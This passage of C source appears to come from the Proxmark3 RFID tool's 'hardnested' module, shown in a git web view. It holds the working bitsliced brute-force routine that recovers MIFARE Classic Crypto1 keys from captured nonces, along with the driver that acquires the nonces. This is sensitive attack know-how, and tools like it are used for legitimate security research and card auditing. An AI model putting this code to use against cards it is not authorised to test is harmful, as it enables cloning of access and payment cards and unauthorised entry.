1422 #ifdef EXACT_COUNT
1423 bucket_size[bitsliced_blocks] = max_slices;
1424 #endif
1425 for(size_t slice_idx = 0; slice_idx < max_slices; ++slice_idx){
1426 uint32_t e = *(p_even+slice_idx);
1427 for(size_t bit_idx = 1; bit_idx < STATE_SIZE; bit_idx+=2, e >>= 1){
1428 // set even bits
1429 if(e&1){
1430 lstate_p[bit_idx].bytes64[slice_idx>>6] |= 1ull << (slice_idx&63);
1431 }
1432 }
1433 }
1434 // compute the rollback bits
1435 for(size_t rollback = 0; rollback < ROLLBACK_SIZE; ++rollback){
1436 // inlined crypto1_bs_lfsr_rollback
1437 const bitslice_value_t feedout = lstate_p[0].value;
1438 ++lstate_p;
1439 const bitslice_value_t ks_bits = crypto1_bs_f20(lstate_p);
1440 const bitslice_value_t feedback = (feedout ^ ks_bits ^ lstate_p[47- 5].value ^ lstate_p[47- 9].value ^
1441 lstate_p[47-10].value ^ lstate_p[47-12].value ^ lstate_p[47-14].value ^
1442 lstate_p[47-15].value ^ lstate_p[47-17].value ^ lstate_p[47-19].value ^
1443 lstate_p[47-24].value ^ lstate_p[47-25].value ^ lstate_p[47-27].value ^
1444 lstate_p[47-29].value ^ lstate_p[47-35].value ^ lstate_p[47-39].value ^
1445 lstate_p[47-41].value ^ lstate_p[47-42].value ^ lstate_p[47-43].value);
1446 lstate_p[47].value = feedback ^ bitsliced_rollback_byte[rollback].value;
1447 }
1448 bitsliced_even_states[bitsliced_blocks++] = lstate_p;
1449 }
1450
1451 // bitslice every odd state to every block of even half-states with half-finished rollback
1452 for(uint32_t const * restrict p_odd = p->states[ODD_STATE]; p_odd < p->states[ODD_STATE]+p->len[ODD_STATE]; ++p_odd){
1453 // early abort
1454 if(keys_found){
1455 goto out;
1456 }
1457
1458 // set the odd bits and compute rollback
1459 uint64_t o = (uint64_t) *p_odd;
1460 lfsr_rollback_byte((struct Crypto1State*) &o, 0, 1);
1461 // pre-compute part of the odd feedback bits (minus rollback)
1462 bool odd_feedback_bit = parity(o&0x9ce5c);
1463
1464 crypto1_bs_rewind_a0();
1465 // set odd bits
1466 for(size_t state_idx = 0; state_idx < STATE_SIZE-ROLLBACK_SIZE; o >>= 1, state_idx+=2){
1467 if(o & 1){
1468 state_p[state_idx] = bs_ones;
1469 } else {
1470 state_p[state_idx] = bs_zeroes;
1471 }
1472 }
1473 const bitslice_value_t odd_feedback = odd_feedback_bit ? bs_ones.value : bs_zeroes.value;
1474
1475 for(size_t block_idx = 0; block_idx < bitsliced_blocks; ++block_idx){
1476 const bitslice_t const * restrict bitsliced_even_state = bitsliced_even_states[block_idx];
1477 size_t state_idx;
1478 // set even bits
1479 for(state_idx = 0; state_idx < STATE_SIZE-ROLLBACK_SIZE; state_idx+=2){
1480 state_p[1+state_idx] = bitsliced_even_state[1+state_idx];
1481 }
1482 // set rollback bits
1483 uint64_t lo = o;
1484 for(; state_idx < STATE_SIZE; lo >>= 1, state_idx+=2){
1485 // set the odd bits and take in the odd rollback bits from the even states
1486 if(lo & 1){
1487 state_p[state_idx].value = ~bitsliced_even_state[state_idx].value;
1488 } else {
1489 state_p[state_idx] = bitsliced_even_state[state_idx];
1490 }
1491
1492 // set the even bits and take in the even rollback bits from the odd states
1493 if((lo >> 32) & 1){
1494 state_p[1+state_idx].value = ~bitsliced_even_state[1+state_idx].value;
1495 } else {
1496 state_p[1+state_idx] = bitsliced_even_state[1+state_idx];
1497 }
1498 }
1499
1500 #ifdef EXACT_COUNT
1501 bucket_states_tested += bucket_size[block_idx];
1502 #endif
1503 // pre-compute first keystream and feedback bit vectors
1504 const bitslice_value_t ksb = crypto1_bs_f20(state_p);
1505 const bitslice_value_t fbb = (odd_feedback ^ state_p[47- 0].value ^ state_p[47- 5].value ^ // take in the even and rollback bits
1506 state_p[47-10].value ^ state_p[47-12].value ^ state_p[47-14].value ^
1507 state_p[47-24].value ^ state_p[47-42].value);
1508
1509 // vector to contain test results (1 = passed, 0 = failed)
1510 bitslice_t results = bs_ones;
1511
1512 for(size_t tests = 0; tests < NONCE_TESTS; ++tests){
1513 size_t parity_bit_idx = 0;
1514 bitslice_value_t fb_bits = fbb;
1515 bitslice_value_t ks_bits = ksb;
1516 state_p = &states[KEYSTREAM_SIZE-1];
1517 bitslice_value_t parity_bit_vector = bs_zeroes.value;
1518
1519 // highest bit is transmitted/received first
1520 for(int32_t ks_idx = KEYSTREAM_SIZE-1; ks_idx >= 0; --ks_idx, --state_p){
1521 // decrypt nonce bits
1522 const bitslice_value_t encrypted_nonce_bit_vector = bitsliced_encrypted_nonces[tests][ks_idx].value;
1523 const bitslice_value_t decrypted_nonce_bit_vector = (encrypted_nonce_bit_vector ^ ks_bits);
1524
1525 // compute real parity bits on the fly
1526 parity_bit_vector ^= decrypted_nonce_bit_vector;
1527
1528 // update state
1529 state_p[0].value = (fb_bits ^ decrypted_nonce_bit_vector);
1530
1531 // compute next keystream bit
1532 ks_bits = crypto1_bs_f20(state_p);
1533
1534 // for each byte:
1535 if((ks_idx&7) == 0){
1536 // get encrypted parity bits
1537 const bitslice_value_t encrypted_parity_bit_vector = bitsliced_encrypted_parity_bits[tests][parity_bit_idx++].value;
1538
1539 // decrypt parity bits
1540 const bitslice_value_t decrypted_parity_bit_vector = (encrypted_parity_bit_vector ^ ks_bits);
1541
1542 // compare actual parity bits with decrypted parity bits and take count in results vector
1543 results.value &= (parity_bit_vector ^ decrypted_parity_bit_vector);
1544
1545 // make sure we still have a match in our set
1546 // if(memcmp(&results, &bs_zeroes, sizeof(bitslice_t)) == 0){
1547
1548 // this is much faster on my gcc, because somehow a memcmp needlessly spills/fills all the xmm registers to/from the stack - ???
1549 // the short-circuiting also helps
1550 if(results.bytes64[0] == 0
1551 #if MAX_BITSLICES > 64
1552 && results.bytes64[1] == 0
1553 #endif
1554 #if MAX_BITSLICES > 128
1555 && results.bytes64[2] == 0
1556 && results.bytes64[3] == 0
1557 #endif
1558 ){
1559 goto stop_tests;
1560 }
1561 // this is about as fast but less portable (requires -std=gnu99)
1562 // asm goto ("ptest %1, %0\n\t"
1563 // "jz %l2" :: "xm" (results.value), "xm" (bs_ones.value) : "cc" : stop_tests);
1564 parity_bit_vector = bs_zeroes.value;
1565 }
1566 // compute next feedback bit vector
1567 fb_bits = (state_p[47- 0].value ^ state_p[47- 5].value ^ state_p[47- 9].value ^
1568 state_p[47-10].value ^ state_p[47-12].value ^ state_p[47-14].value ^
1569 state_p[47-15].value ^ state_p[47-17].value ^ state_p[47-19].value ^
1570 state_p[47-24].value ^ state_p[47-25].value ^ state_p[47-27].value ^
1571 state_p[47-29].value ^ state_p[47-35].value ^ state_p[47-39].value ^
1572 state_p[47-41].value ^ state_p[47-42].value ^ state_p[47-43].value);
1573 }
1574 }
1575 // all nonce tests were successful: we've found the key in this block!
1576 state_t keys[MAX_BITSLICES];
1577 crypto1_bs_convert_states(&states[KEYSTREAM_SIZE], keys);
1578 for(size_t results_idx = 0; results_idx < MAX_BITSLICES; ++results_idx){
1579 if(get_vector_bit(results_idx, results)){
1580 key = keys[results_idx].value;
1581 goto out;
1582 }
1583 }
1584 stop_tests:
1585 // prepare to set new states
1586 crypto1_bs_rewind_a0();
1587 continue;
1588 }
1589 }
1590
1591 out:
1592 for(size_t block_idx = 0; block_idx < bitsliced_blocks; ++block_idx){
1593
1594 #ifdef __WIN32
1595 #ifdef __MINGW32__
1596 __mingw_aligned_free(bitsliced_even_states[block_idx]-ROLLBACK_SIZE);
1597 #else
1598 _aligned_free(bitsliced_even_states[block_idx]-ROLLBACK_SIZE);
1599 #endif
1600 #else
1601 free(bitsliced_even_states[block_idx]-ROLLBACK_SIZE);
1602 #endif
1603
1604 }
1605 __sync_fetch_and_add(&total_states_tested, bucket_states_tested);
1606 return key;
1607 }
1608
1609 static void* crack_states_thread(void* x){
1610 const size_t thread_id = (size_t)x;
1611 size_t current_bucket = thread_id;
1612 while(current_bucket < bucket_count){
1613 statelist_t * bucket = buckets[current_bucket];
1614 if(bucket){
1615 const uint64_t key = crack_states_bitsliced(bucket);
1616 if(key != -1){
1617 printf("\nFound key: %012"PRIx64"\n", key);
1618 __sync_fetch_and_add(&keys_found, 1);
1619 break;
1620 } else if(keys_found){
1621 break;
1622 } else {
1623 printf(".");
1624 fflush(stdout);
1625 }
1626 }
1627 current_bucket += thread_count;
1628 }
1629 return NULL;
1630 }
1631 #define _USE_32BIT_TIME_T
1632 static void brute_force(void)
1633 {
1634 if (known_target_key != -1) {
1635 PrintAndLog("Looking for known target key in remaining key space...");
1636 TestIfKeyExists(known_target_key);
1637 } else {
1638 PrintAndLog("Brute force phase starting.");
1639 time_t start, end;
1640 time(&start);
1641 keys_found = 0;
1642
1643 crypto1_bs_init();
1644
1645 PrintAndLog("Using %u-bit bitslices", MAX_BITSLICES);
1646 PrintAndLog("Bitslicing best_first_byte^uid[3] (rollback byte): %02x...", best_first_bytes[0]^(cuid>>24));
1647 // convert to 32 bit little-endian
1648 crypto1_bs_bitslice_value32(rev32((best_first_bytes[0]^(cuid>>24))), bitsliced_rollback_byte, 8);
1649
1650 PrintAndLog("Bitslicing nonces...");
1651 for(size_t tests = 0; tests < NONCE_TESTS; tests++){
1652 uint32_t test_nonce = brute_force_nonces[tests]->nonce_enc;
1653 uint8_t test_parity = brute_force_nonces[tests]->par_enc;
1654 // pre-xor the uid into the decrypted nonces, and also pre-xor the cuid parity into the encrypted parity bits - otherwise an exta xor is required in the decryption routine
1655 crypto1_bs_bitslice_value32(cuid^test_nonce, bitsliced_encrypted_nonces[tests], 32);
1656 // convert to 32 bit little-endian
1657 crypto1_bs_bitslice_value32(rev32( ~(test_parity ^ ~(parity(cuid>>24 & 0xff)<<3 | parity(cuid>>16 & 0xff)<<2 | parity(cuid>>8 & 0xff)<<1 | parity(cuid&0xff)))), bitsliced_encrypted_parity_bits[tests], 4);
1658 }
1659 total_states_tested = 0;
1660
1661 // count number of states to go
1662 bucket_count = 0;
1663 for (statelist_t *p = candidates; p != NULL; p = p->next) {
1664 buckets[bucket_count] = p;
1665 bucket_count++;
1666 }
1667
1668 #ifndef __WIN32
1669 thread_count = sysconf(_SC_NPROCESSORS_CONF);
1670 #endif /* _WIN32 */
1671 pthread_t threads[thread_count];
1672
1673 // enumerate states using all hardware threads, each thread handles one bucket
1674 PrintAndLog("Starting %u cracking threads to search %u buckets containing a total of %"PRIu32" states...", thread_count, bucket_count, maximum_states);
1675
1676 for(size_t i = 0; i < thread_count; i++){
1677 pthread_create(&threads[i], NULL, crack_states_thread, (void*) i);
1678 }
1679 for(size_t i = 0; i < thread_count; i++){
1680 pthread_join(threads[i], 0);
1681 }
1682
1683 time(&end);
1684 unsigned long elapsed_time = difftime(end, start);
1685 PrintAndLog("Tested %"PRIu32" states, found %u keys after %u seconds", total_states_tested, keys_found, elapsed_time);
1686 if(!keys_found){
1687 assert(total_states_tested == maximum_states);
1688 }
1689 // reset this counter for the next call
1690 nonces_to_bruteforce = 0;
1691 }
1692 }
1693
1694 int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *trgkey, bool nonce_file_read, bool nonce_file_write, bool slow, int tests)
1695 {
1696 // initialize Random number generator
1697 time_t t;
1698 srand((unsigned) time(&t));
1699
1700 if (trgkey != NULL) {
1701 known_target_key = bytes_to_num(trgkey, 6);
1702 } else {
1703 known_target_key = -1;
1704 }
1705
1706 init_partial_statelists();
1707 init_BitFlip_statelist();
1708 write_stats = false;
1709
1710 if (tests) {
1711 // set the correct locale for the stats printing
1712 setlocale(LC_ALL, "");
1713 write_stats = true;
1714 if ((fstats = fopen("hardnested_stats.txt","a")) == NULL) {
1715 PrintAndLog("Could not create/open file hardnested_stats.txt");
1716 return 3;
1717 }
1718 for (uint32_t i = 0; i < tests; i++) {
1719 init_nonce_memory();
1720 simulate_acquire_nonces();
1721 Tests();
1722 printf("Sum(a0) = %d\n", first_byte_Sum);
1723 fprintf(fstats, "%d;", first_byte_Sum);
1724 generate_candidates(first_byte_Sum, nonces[best_first_bytes[0]].Sum8_guess);
1725 brute_force();
1726 free_nonces_memory();
1727 free_statelist_cache();
1728 free_candidates_memory(candidates);
1729 candidates = NULL;
1730 }
1731 fclose(fstats);
1732 } else {
1733 init_nonce_memory();
1734 if (nonce_file_read) { // use pre-acquired data from file nonces.bin
1735 if (read_nonce_file() != 0) {
1736 return 3;
1737 }
1738 Check_for_FilterFlipProperties();
1739 num_good_first_bytes = MIN(estimate_second_byte_sum(), GOOD_BYTES_REQUIRED);
1740 } else { // acquire nonces.
1741 uint16_t is_OK = acquire_nonces(blockNo, keyType, key, trgBlockNo, trgKeyType, nonce_file_write, slow);
1742 if (is_OK != 0) {
1743 return is_OK;
1744 }
1745 }
1746
1747 Tests();
1748
1749 PrintAndLog("");
1750 PrintAndLog("Sum(a0) = %d", first_byte_Sum);
1751 // PrintAndLog("Best 10 first bytes: %02x, %02x, %02x, %02x, %02x, %02x, %02x, %02x, %02x, %02x",
1752 // best_first_bytes[0],
1753 // best_first_bytes[1],
1754 // best_first_bytes[2],
1755 // best_first_bytes[3],
1756 // best_first_bytes[4],
1757 // best_first_bytes[5],
1758 // best_first_bytes[6],
1759 // best_first_bytes[7],
1760 // best_first_bytes[8],
1761 // best_first_bytes[9] );
1762 PrintAndLog("Number of first bytes with confidence > %2.1f%%: %d", CONFIDENCE_THRESHOLD*100.0, num_good_first_bytes);
1763
1764 clock_t time1 = clock();
1765 generate_candidates(first_byte_Sum, nonces[best_first_bytes[0]].Sum8_guess);
1766 time1 = clock() - time1;
1767 if ( time1 > 0 )
1768 PrintAndLog("Time for generating key candidates list: %1.0f seconds", ((float)time1)/CLOCKS_PER_SEC);
1769
1770 brute_force();
1771 free_nonces_memory();
1772 free_statelist_cache();
1773 free_candidates_memory(candidates);
1774 candidates = NULL;
1775 }
1776 return 0;
1777 }
1778
1779
Proxmark3 GIT tracking
Impressum, Datenschutz